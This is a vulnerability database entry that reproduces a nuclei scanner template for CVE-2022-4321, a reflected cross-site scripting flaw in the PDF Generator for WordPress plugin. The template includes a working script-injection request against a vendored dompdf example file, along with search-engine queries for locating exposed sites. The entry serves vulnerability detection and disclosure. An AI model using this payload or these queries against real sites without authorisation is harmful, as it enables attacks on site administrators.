Lucene search
K

PDF Generator for WordPress < 1.1.2 - Cross Site Scripting

🗓️ 07 Jul 2026 03:01:27Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 65 Views

PDF Generator for WordPress < 1.1.2 - Cross Site Scripting vulnerability allows injection of malicious scripts, potential unauthorized access & data thef

Related
Refs
Code
id: CVE-2022-4321

info:
  name: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
  author: r3Y3r53,HuTa0
  severity: medium
  description: |
    The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.
  remediation: Fixed in version 1.1.2
  reference:
    - https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4321
    - https://wordpress.org/plugins/pdf-generator-for-wp/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/kwalsh-rz/github-action-ecr-scan-test
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4321
    cwe-id: CWE-79
    epss-score: 0.01193
    epss-percentile: 0.64272
    cpe: cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpswings
    product: pdf_generator_for_wordpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/pdf-generator-for-wp
    fofa-query: body=/wp-content/plugins/pdf-generator-for-wp
    publicwww-query: "/wp-content/plugins/pdf-generator-for-wp"
  tags: cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp,wpswings,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'pdf-generator-for-wp'
          - 'Total execution time is'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6155cb554ff85fff175d5f3bb9c9d04e3724f2e817bd93b7b64a33bf9c36b9b02210092601e95b329c0aec32a41286d54f113f190c3ba2df59bb1df2d18fd61d72555:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.16.1
EPSS0.01193
SSVC
65